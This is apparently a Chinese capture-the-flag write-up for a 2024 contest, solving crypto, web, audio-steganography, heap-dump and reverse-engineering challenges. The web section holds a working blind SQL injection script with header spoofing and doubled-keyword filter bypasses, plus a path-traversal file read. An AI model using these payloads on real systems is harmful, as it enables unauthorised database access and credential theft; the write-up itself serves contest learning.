第一届“数信杯” 初赛WriteUp

2024/4/14 Sunday

drinktea

下载题目附件out.txt,打开发现是python字节码。

  6           0 LOAD_GLOBAL              0 (c_uint32)
              2 LOAD_FAST                0 (v)
              4 LOAD_CONST               1 (0)
              6 BINARY_SUBSCR
              8 CALL_FUNCTION            1
             10 LOAD_GLOBAL              0 (c_uint32)
             12 LOAD_FAST                0 (v)
             14 LOAD_CONST               2 (1)
             16 BINARY_SUBSCR
             18 CALL_FUNCTION            1
             20 ROT_TWO
             22 STORE_FAST               2 (v0)
             24 STORE_FAST               3 (v1)

 ...
 ...

 33     >>  202 LOAD_GLOBAL              8 (print)
            204 LOAD_CONST              17 ('no~')
            206 CALL_FUNCTION            1
            208 POP_TOP
            210 LOAD_CONST               0 (None)
            212 RETURN_VALUE

可以使用dis 模块,可以将python代码转化成字节码,所以对于题目给到的out.txt,可以推出源代码:

from ctypes import c_uint32
import struct

flag = input("please input flag: ") #"drinkteahelloyeshiklosewbyeflora" #
encry = []

key = [1900550021, 2483099539, 2205172504, 1359557939]
arr = [
    [392252415, 2941946969],
    [1122976151, 1335193774],
    [815478816, 2529100980],
    [2237049875, 188954780]
]

def encrypt(v, key):
    v0, v1 = c_uint32(v[0]), c_uint32(v[1])
    delta = 555885348
    total = c_uint32(0)
    for i in range(32):
        v0.value += (((v1.value << 4) ^ (v1.value >> 5)) + v1.value) ^ (total.value + key[total.value & 3])
        total.value += delta
        v1.value += (((v0.value << 4) ^ (v0.value >> 5)) + v0.value) ^ (total.value + key[total.value >> 11 & 3])
    return [v0.value, v1.value]


for i in range(0, len(flag), 8):
    encry.append(struct.unpack('<I', flag[i:i + 4].encode('utf-8'))[0])
    encry.append(struct.unpack('<I', flag[i + 4:i + 8].encode('utf-8'))[0])

encrypted = []
for i in range(0, len(encry), 2):
    encrypted.append(encrypt(encry[i:i + 2], key))

# print(encrypted)

if encrypted == arr:
    print("yes~")
else:
    print("no~")

以上代码顺序有一定调整。

可以观察到,题目给出了 arrkey 的值,根据加密函数 encrypt() ,可以知道:

  • arr - 加密后的密文序列

  • key - 密钥

整个加密步骤为:

  • 将明文 flag 以每8个字符为一组,unpack 后并入到 encry 列表中。

  • 将 `encry` 列表以每两个元素为一组,调用 encrypt 函数进行加密。

  • `encrypt` 函数进行了32轮操作,其中要注意的是 total 值累加了32轮。

  • 最后将输出的结果并入到 encrypted 列表中。

  • 判断 encrypted 是否与 arr 相等,相等则输出 “yes~”,不相等则输出“no~”。

针对以上加密步骤,构造解密函数:

from ctypes import c_uint32
import struct

# 已定义的密钥和密文数组
key = [1900550021, 2483099539, 2205172504, 1359557939]
arr = [
    [392252415, 2941946969],
    [1122976151, 1335193774],
    [815478816, 2529100980],
    [2237049875, 188954780]
]



def decrypt(v, key):
    v0, v1 = c_uint32(v[0]), c_uint32(v[1])
    delta = 555885348
    total = c_uint32(delta * 32)

    for _ in range(32):
        v1.value -= (((v0.value << 4) ^ (v0.value >> 5)) + v0.value) ^ (total.value + key[total.value >> 11 & 3])
        total.value -= delta
        v0.value -= (((v1.value << 4) ^ (v1.value >> 5)) + v1.value) ^ (total.value + key[total.value & 3])

    return [v0.value, v1.value]

flag = "flag{"
for a in arr:
    decrypted_pairs = decrypt(a, key)
    decrypted_bytes = struct.pack('<I', decrypted_pairs[0]) + struct.pack('<I', decrypted_pairs[1])
    flag += decrypted_bytes.decode('utf-8')
    print("Input:", a)
    print("Plaintext:", decrypted_bytes)
    print("Plaintext raw bytes:", list(decrypted_bytes))
    print()
flag+="}"

print(flag)
  • 将每组参数(2个)和 key 作为参数传入解密函数,解密函数先计算 total * 32, 因为total在加密时累加了32轮。

  • 接着进行32轮解密,用 “-=”来匹配加密的时候的“+=”。

  • 将输出的每组结果 pack后拼接并输出。

下面演示执行结果:

Justsoso

打开后直接乱输密码登录,提示只能本地IP登录

加上xff头绕过

Username加上单引号发现无返回内容,可能存在sql注入

使用#闭合发现正常返回,确定存在sql注入

尝试使用万能密码登录,失败

可能存在过滤,经过尝试可使用admin'oorr'1'='1'%23绕过,and同理可替换成anandd,但还是无法登录

构造盲注语句

编写脚本过程中发现可能存在过滤,导致表名读取失败,经过以下测试发现select被过滤,同样,使用双写绕过

编写脚本如下:

import requests
import time

requests.packages.urllib3.disable_warnings()
headers = {'X-Forwarded-For': '127.0.0.1'}
url = "http://8.147.129.5:15554/login.php"
result=''
data='database()'
data = "(selselectect group_concat(table_name) from infoorrmation_schema.tables where table_schema=database())" #读表名 result:user
data = "(selselectect group_concat(column_name) from infoorrmation_schema.columns where table_name='user')"#读user表里有哪些列
data = "(selselectect group_concat(passwoorrd) from user)" #读取password字段
payload ="admin'anandd if((ascii(substr(({0}),{1},1)))>{2},1,0)#"
# payload = 'if((greatest(ascii(substr(({0}),{1},1)),{2})={3}),1,0)'
for i in range(1,1500):
    min_value = 33
    max_value = 133
    mid = (min_value+max_value)//2 #中值
    while(min_value<max_value):
        payload1 = payload.format(data,i,mid)
        datas = {"username":payload1,"password":"1"}
        res = requests.post(url=url,data=datas,headers=headers)
        # print(res.text)
        if res.text.find("用户不存在!")<0:
        #ascii值比mid值大
            min_value = mid+1
        else:
            max_value = mid
            mid = (min_value+max_value)//2
        #找不到目标元素时停止
    if(chr(mid)=="!"):
            break
    result += chr(mid)
print(result)

查出密码90440ad8ff884788ed99747acb0872c0

可能是md5,使用somd5解出为yingyingying

设置好请求头后登录

给了个链接

尝试目录穿越发现被检测

Dirsearch目录扫描结果

直接访问flag.php,无法访问,加xff头也无法绕过

尝试使用该链接读取

后面拼接了.jpg,使用?绕过,没有报错

抓包查看,进行base64解码得到flag

MagicAudio

这道题比赛的时候中途放弃了没做,当时尝试了一般的音频解法,没有解出来,于是有了可能是 sstv 的猜测。赛后补做了一下,做出来了。

下载看到 ctf.wav ,应该就是音频题目了。打开听声音是很刺耳的滴滴声,并且声音长短不明显,大概率也不是摩斯电码。

把这个文件丢进 HxD (任何一款十六进制编辑工具都行),可以看到是该文件其实是两个文件拼接的结果,并且能看到是一个 wav 音频文件 和 一个 ZIP 文件进行了拼接。

可以在HxD中看到两个文件拼接

在 Ubuntu 中,使用 foremost 进行分离(用十六进制编辑工具手动分离也可以)。

$ foremost ctf.wav 
Processing: ctf.wav
|foundat=flag.txt���Q�Dg���v	û�[ڬ!/`Q���Err�dr��8'6-ym T����PK?
*|

可以看到输出文件夹 output 中,存在两个被分离的文件夹:

wav和zip被分离了

打开 zip,里面有个 flag.txt ,但是 ZIP 包被真实加密了,需要解密密码。

这里使用 rx-sstv 工具:

用MMSSTV也可以:

还需要下载一个虚拟声卡驱动,让电脑的声音能直接作为输入。

播放源
接收源

然后播放wav文件,看到以下图片:

菜就多练

既然只有这个提示,就作为压缩包密码去打开 flag.txt,成功:

flag.txt的内容

easyjava

题目附件是一个 .hprof 文件,丢进 VisualVM 里看,找 Object;

选择Objects后,可以看到一个Test

点 Fields 看一下它的内容:

题目提示了百家姓,在这里找到了confuse后的码表和密文

搜索百家姓加解密工具;

把码表丢进去,解密出来:

0123456789abcdefghijklmnopqrstuvwxyzBCDEFGHIJKLMNOPQRSTUVWXY

看到少了A和Z,进行补全:

0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ

这里补全的原因是:如果不进行补全,密文最后一个字符“鲍”将没办法对应确切的字符。

然后对应密文解密:

comparison_table = {}

confuse = "赵钱孙李周吴郑王冯陈褚卫蒋沈韩杨朱秦尤许何吕施张孔曹严华金魏陶姜戚谢邹喻柏水窦章云苏潘葛奚范彭郎鲁韦昌马苗凤花方俞任袁柳酆鲍史唐费"
# 网站解密的结果 0123456789abcdefghijklmnopqrstuvwxyzBCDEFGHIJKLMNOPQRSTUVWXY ,和confuse比少了五个字符
src = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!?~"  # 反正最后三个字符也没有在密文中用到,所以随便填充到confuse的长度
encrypted = "曹窦韦谢曹方范谢孔许何马沈郑吴喻沈尤苗昌曹喻吴谢卫许朱花沈窦蒋范孔窦吴窦沈昌苗韦孔施朱方曹施秦邹沈窦吴柏孔喻陈鲍"
decrypted = ""

for i in range(len(confuse)):
    comparison_table.update({confuse[i]: src[i]})

for i in range(len(encrypted)):
    decrypted += comparison_table[encrypted[i]]

print(decrypted)        # pCNxpTJxojkPd65zdiQOpz5xbjgSdCcJoC5CdOQNomgTpmhydC5Aoz9Z

接着用 CipherChef ,拿去进行base64解码,但是要注意的是:码表已经变换了,不是原本的码表了。

原本的 Alphabet 是 A-Za-z0-9+/=

rrrrcccc

这道题也没做出来,太菜了。没怎么碰过 Reverse,上来就开逆,连壳也不查了。正常步骤应该先查一下壳:

看看能不能直接脱壳。

提示 "file is modified/hacked/protected" ,手动改。

把 EXE 文件丢进 HxD(或者随便一款 HEX 编辑器),看到 UPX 被改成了小写,搜索都改成大写(共四处),再尝试脱壳。

脱壳结束后,直接丢到 IDA 里分析。

首先来看 main 函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *v3; // esp
  DWORD v5; // [esp+1Ch] [ebp-Ch] BYREF
  DWORD flOldProtect; // [esp+20h] [ebp-8h] BYREF
  int i; // [esp+24h] [ebp-4h]

  v3 = alloca(16);
  __main();
  i = 0;
  if ( !VirtualProtect(&loc_401485, 0x46Au, 4u, &flOldProtect) )
    exit(1);
  if ( !VirtualProtect(byte_401301, 0x14Eu, 4u, &v5) )
    exit(1);
  for ( i = 0; i <= 767; ++i )
    *((_BYTE *)&loc_401485 + i) ^= 0x20u;
  for ( i = 0; i <= 333; ++i )
    byte_401301[i] ^= 0x24u;
  request_input();
  ((void (*)(void))loc_401485)();
  print_str();
  return 0;
}

先不管变量声明,来看看涉及的主要步骤:

  1. v3 = alloca(16); 这里在栈上动态分配 0x10 个字节的空间,未初始化;

  2. 调用 __main() 函数;

  3. VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD flOldProtect) 用于更改调用进程的虚拟地址空间中已提交页面区域的保护方式。如果没有设置成功就会 exit(1)

我们可以通过 Microsoft 提供的 win32 API 文档:https://learn.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect

  • LPVOID lpAddress - 目标内存起始位置

  • SIZE_T dwSize - 从起始位置开始需要变更保护方式的内存分页的区域大小

  • DWORD flNewProtect - 设置新的保护方式

  • DWORD flOldProtect - 保存旧的保护方式

如果该函数成功,则返回值为非零值。

如果函数失败,则返回值为零。

  • 因此,对于第一句 VirtualProtect() 而言:

    • 它将对 &loc_401485 这个代码段上的地址起始的 0x46A 个字节进行保护方式的变更;

    • 我们可以看到其新的保护方式是 0x4u (也就是常量 4 )。通过 MS 的文档查看内存保护常量都有哪些:https://learn.microsoft.com/zh-cn/windows/win32/Memory/memory-protection-constants ,对应的保护方式是 PAGE_READWRITE ,对其描述是:启用对已提交页面区域的只读或读/写访问。 如果启用了 数据执行保护 (DEP),则尝试在提交的区域中执行代码会导致访问冲突。

    • 然后将旧的保护方式存放到变量 flOldProtect 中;

  • 第二句同理,对 byte_401301 起始的 0x14E 个字节进行保护方式的变更,变更为 PAGE_READWRITE ,并将旧的保护方式保存到变量 v5 中;

  1. 对于两个 for 循环而言,我们逐步分析。第一个 for 循环,共执行了768次,对于 *((_BYTE *)&loc_401485 + i) ^= 0x20u; ,其对loc_401485 上的 768 个字节各做了一次异或操作,异或的值为 0x20 ;

&loc_401485 就是 0x401485 这个地址,(_BYTE *)&loc_401485 获取了一个指向改地址的 byte 类型的指针,(_BYTE *)&loc_401485 + i 获取了该地址后的第 i 个字节的地址,最外层的*(...) 获取地址上的值。

  1. 同理,对于 byte_401301 而言,该数组对 0x401301作为起始地址的后 334 个字节(包括初始地址)进行了异或操作;

  2. 调用 request_input() 函数(这个是我自己 rename 的);

  3. ((void (*)(void))loc_401485)(); 这条指令将地址 0x401485 转换为指向一个无参数且没有返回值的函数的指针,并且对这个函数进行调用;

void (*)(void) 表示一个无参数且无返回值的函数指针,这里的前一个 void 表示函数没有返回值,后一个 (void) 表示该函数没有参数。使用(void (*)(void)) 对地址 0x401485 进行类型转换,并在最后使用括号 (...)() 对处于该地址的函数进行调用;

  1. 调用 print_str() 函数(这个是我自己rename 的);

针对上述过程,不难发现:

  • 主函数的两个 iffor 的内容,是一种对局部代码段进行解密的操作,这种操作是被称为 SMC (Software-based Memory Encryption) 的一部分。使用VirtualProtect() 更改需要解密的内存区间的保护方式为读写模式,然后进行异或解密。

基于软件的内存加密通常通过以下步骤实现:

  1. 加密算法:选择合适的对称加密算法(如AES)来加密和解密内存中的数据。

  2. 密钥管理:安全地生成、存储和管理加密密钥。

  3. 运行时加密:在数据被写入内存之前,动态地加密数据;在数据从内存被读取时,动态地解密。

  4. 性能优化:由于加密和解密操作会增加额外的处理负担,因此需要优化算法和实现,以减少性能损失。

int request_input()
{
  printf("You must enter a password to enter the program:\n");
  scanf("%s", passwd);
  if ( anti_debug() )
  {
    printf("what are you doing!\n");
    exit(1);
  }
  return printf("Your input is %s\n", passwd);
}
  • request_input() 中存在一个反调试函数anti_debug() (也是我自己命名的)。这个函数会校验NtGlobalFlag 是否等于 0x70,在调试的时候进行 opcode 绕过就行(当然直接force jump强制跳,反正不要执行 mov [ebp+var_8], 1指令)。

jmp 绕过或者改cmp的值
  • 在执行((void (*)(void))loc_401485)(); 前,先到该地址 (0x401485) ,执行 U (undefine) -> C (code) -> P (Make Procedure) 来把解密后的代码定义为一个函数。

int sub_401485()
{
// 省略...
  v4 = strlen(::Str);
  for ( j = 0; j < v4; ++j )
  {
    i = (i + 1) % 256;
    v10 = ((unsigned __int8)v12[i - 288] + v10) % 256;
    v7 = v12[i - 288];
    v12[i - 288] = v12[v10 - 288];
    v12[v10 - 288] = v7;
    v9 = ((unsigned __int8)v12[v10 - 288] + (unsigned __int8)v12[i - 288]) % 256;
    ::Str[j] ^= v12[v9 - 288];
  }
  memcpy(v3, &unk_402000, 0x98u);
  for ( i = 0; i < strlen(::Str); ++i )
    v12[i - 768] = ::Str[i] ^ v3[i];
  if ( strcmp(Str1, "Whatareyourencryption&decryptionbasics") )
  {
    printf(off_4031B4);
    exit(1);
  }
  return printf("\npassword match.\n");
}

这里可以看到RC4的核心代码。

其实分析到这里就知道应该怎么做了:观察到两个for循环,Str 进行了两次异或,最后异或的结果和字符串 Whatareyourencryption&decryptionbasics 进行 compare。不难想到这个进行两次异或的就是明文的flag 了。

不过这里更想说的是流程:

  • 在第一个 for 循环里,(前面的代码就省略了)v4 是输入数据的长度,iv10 用于生成伪随机置换的值,而 v12 则是关键的 S-Box 数组,提供置换用的密钥流。所以大致流程就是:① 初始化生成伪随机值 -> ② swap置换 -> ③ 密钥流与数据进行异或;

  • 第二个 for 循环就更加只管了,直接数组元素和数据进行异或;

所以我们接着调试,拿到两个for循环的参与异或的数据,然后把字符串异或回去就能拿到flag了。

cmp_str = b"Whatareyourencryption&decryptionbasics"

xor1 = bytearray([0x1C, 0xCB, 0xF5, 0x53,0x91, 0xCC, 0x3B, 0x66,0x04, 0x7D, 0xBA, 0xD2,0x56, 0xCE, 0x14, 0xA4,0xE8, 0x7F, 0xC2, 0xC4, 0x2B, 0x86, 0x32, 0xF0,0xF7, 0xEA, 0xFB, 0xF0, 0x78, 0x34, 0x9A, 0x03,0x13, 0xA2, 0x91, 0x37,0x48, 0x66, 0x00, 0x00])

xor2 = bytearray([0x2d,0xcf,0xf5,0x40,0x8b,0xda,0x6d,0x7b,0x9,0x3e,0xf1,0xd6,0xb,0x99,0x7,0xe8,0xa9,0x6f,0x9c,0xce,0x74,0xc4,0x64,0xa6,0xf0,0xae,0xb0,0xb1,0x39,0x64,0xc5,0x55,0x43,0xf4,0x81,0x6e,0x1a,0x68])

flag = ""

for i in range(0,len(cmp_str)):
       flag += chr(cmp_str[i] ^ xor1[i] ^ xor2[i])
       
print(flag)

Last updated